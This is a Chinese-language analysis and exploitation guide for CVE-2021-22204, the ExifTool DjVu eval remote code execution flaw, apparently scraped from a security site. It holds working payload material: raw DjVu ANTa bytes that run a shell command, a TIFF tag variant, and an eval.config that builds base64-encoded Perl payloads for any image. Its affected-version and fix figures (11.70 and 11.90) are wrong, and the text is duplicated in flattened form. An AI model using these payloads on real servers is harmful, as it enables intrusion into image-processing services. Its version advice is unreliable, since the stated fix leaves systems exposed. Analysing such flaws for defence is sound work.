CVE-2021-22204 - ExifTool RCE详细分析
字数 1194 2025-08-05 08:17:55

CVE-2021-22204 - ExifTool远程代码执行漏洞深度分析与利用指南

漏洞概述

CVE-2021-22204是ExifTool中的一个严重远程代码执行(RCE)漏洞,影响版本11.70及之前。该漏洞存在于DjVu模块的ParseAnt方法中,由于对用户输入的不当处理,导致攻击者可以通过精心构造的图像文件执行任意Perl代码。

漏洞背景

ExifTool是一个广泛使用的元数据处理工具,支持多种文件格式(JPEG、TIFF、PNG等)。当处理包含恶意元数据的图像文件时,攻击者可利用此漏洞在目标系统上执行任意命令。

漏洞分析

漏洞位置

漏洞位于lib/Image/ExifTool/DjVu.pm文件的ParseAnt方法中:

$tok = '';
for (;;) {
    # 获取到下一个引号前的字符串
    my $pos = pos(
$$
dataPt);
    last Tok unless 
$$
dataPt =~ /"/sg;
    $tok .= substr(
$$
dataPt, $pos, pos(
$$
dataPt)-1-$pos);
    # 除非引号被奇数个反斜杠转义,否则我们没问题
    last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
    $tok .= '"';    # 引号是字符串的一部分
}
# 必须保护未转义的"$"和"@"符号,以及字符串末尾的"\"
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# 转换C转义序列(允许在引号文本中)
$tok = eval qq{"$tok"};

漏洞原理

  1. 字符串解析问题:代码尝试解析DjVu文件中的ANTa块(文本元数据块),处理引号内的字符串内容
  2. 转义处理缺陷:正则表达式$tok =~ /(\\+)$/在匹配字符串结尾的反斜杠时,会错误地将换行符后的内容视为字符串的一部分
  3. eval注入:当字符串以反斜杠加换行符结尾时,后续内容会被当作Perl代码执行

触发条件

构造一个DjVu文件,其ANTa块包含如下格式的恶意元数据:

(metadata (Author "\
" . return `command`; #"))

漏洞利用

直接利用DjVu格式

  1. 创建包含恶意ANTa块的DjVu文件:
AT&TFORM\x00\x00\x00\x08DJVUANTa\x00\x00\x01\x04(metadata (Author "\
" . return `command`; #"))
  1. 当ExifTool解析此文件时,会执行指定的命令

通过其他格式间接利用

由于ExifTool的模块化设计,该漏洞可通过多种文件格式触发:

1. 通过TIFF/EXIF格式

修改TIFF文件中的HasselbladExif标签(0xc51b):

  1. 将TIFF标签0x83bb改为0xc51b
  2. 标签值设置为DjVu有效载荷:
AT&TFORM\x00\x00\x00\x08DJVUANTa\x00\x00\x01\x04(metadata (Author "\
" . return `command`; #"))

2. 使用配置文件自动化利用

创建eval.config文件:

%Image::ExifTool::UserDefined = (
    'Image::ExifTool::Exif::Main' => {
        0xc51b => {
            Name => 'eval',
            Binary => 1,
            Writable => 'undef',
            WriteGroup => 'IFD0',
            ValueConvInv => sub {
                use MIME::Base64;
                my $val = shift;
                $encoded = encode_base64($val);
                my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
                my $len = pack "N", length($meta);
                my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
                return $payload;
            }
        }
    }
)

使用命令:

exiftool -config eval.config image.jpg -eval='system("command")'

3. 其他可利用的格式

  • ZIP:包含meta.json文件的ZIP
  • PDF:使用DCTDecode或JPXDecode过滤器的PDF
  • AVI:包含EXIF标签的AVI文件
  • MOV/MP4:利用RicohRMKN标签

防御措施

  1. 升级ExifTool:升级到11.90或更高版本
  2. 输入验证:对用户上传的图像文件进行严格验证
  3. 沙箱运行:在受限环境中运行ExifTool
  4. 最小权限:以非特权用户身份运行ExifTool

漏洞影响

该漏洞影响广泛,因为:

  1. ExifTool被许多网站和应用程序用于处理图像元数据
  2. 攻击可通过多种常见图像格式实现
  3. 不需要用户交互,只需处理恶意文件即可触发

技术总结

CVE-2021-22204展示了元数据处理工具中的复杂漏洞链:

  1. 通过DjVu格式的文本元数据解析问题
  2. 利用Perl的eval功能实现代码执行
  3. 通过ExifTool的模块化设计扩展到多种文件格式

此漏洞强调了深度防御的重要性,即使是在看似无害的文件处理工具中。

CVE-2021-22204 - ExifTool远程代码执行漏洞深度分析与利用指南 漏洞概述 CVE-2021-22204是ExifTool中的一个严重远程代码执行(RCE)漏洞,影响版本11.70及之前。该漏洞存在于DjVu模块的ParseAnt方法中,由于对用户输入的不当处理,导致攻击者可以通过精心构造的图像文件执行任意Perl代码。 漏洞背景 ExifTool是一个广泛使用的元数据处理工具,支持多种文件格式(JPEG、TIFF、PNG等)。当处理包含恶意元数据的图像文件时,攻击者可利用此漏洞在目标系统上执行任意命令。 漏洞分析 漏洞位置 漏洞位于 lib/Image/ExifTool/DjVu.pm 文件的 ParseAnt 方法中: 漏洞原理 字符串解析问题 :代码尝试解析DjVu文件中的ANTa块(文本元数据块),处理引号内的字符串内容 转义处理缺陷 :正则表达式 $tok =~ /(\\+)$/ 在匹配字符串结尾的反斜杠时,会错误地将换行符后的内容视为字符串的一部分 eval注入 :当字符串以反斜杠加换行符结尾时,后续内容会被当作Perl代码执行 触发条件 构造一个DjVu文件,其ANTa块包含如下格式的恶意元数据: 漏洞利用 直接利用DjVu格式 创建包含恶意ANTa块的DjVu文件: 当ExifTool解析此文件时,会执行指定的命令 通过其他格式间接利用 由于ExifTool的模块化设计,该漏洞可通过多种文件格式触发: 1. 通过TIFF/EXIF格式 修改TIFF文件中的HasselbladExif标签(0xc51b): 将TIFF标签0x83bb改为0xc51b 标签值设置为DjVu有效载荷: 2. 使用配置文件自动化利用 创建 eval.config 文件: 使用命令: 3. 其他可利用的格式 ZIP :包含 meta.json 文件的ZIP PDF :使用DCTDecode或JPXDecode过滤器的PDF AVI :包含EXIF标签的AVI文件 MOV/MP4 :利用RicohRMKN标签 防御措施 升级ExifTool :升级到11.90或更高版本 输入验证 :对用户上传的图像文件进行严格验证 沙箱运行 :在受限环境中运行ExifTool 最小权限 :以非特权用户身份运行ExifTool 漏洞影响 该漏洞影响广泛,因为: ExifTool被许多网站和应用程序用于处理图像元数据 攻击可通过多种常见图像格式实现 不需要用户交互,只需处理恶意文件即可触发 技术总结 CVE-2021-22204展示了元数据处理工具中的复杂漏洞链: 通过DjVu格式的文本元数据解析问题 利用Perl的eval功能实现代码执行 通过ExifTool的模块化设计扩展到多种文件格式 此漏洞强调了深度防御的重要性,即使是在看似无害的文件处理工具中。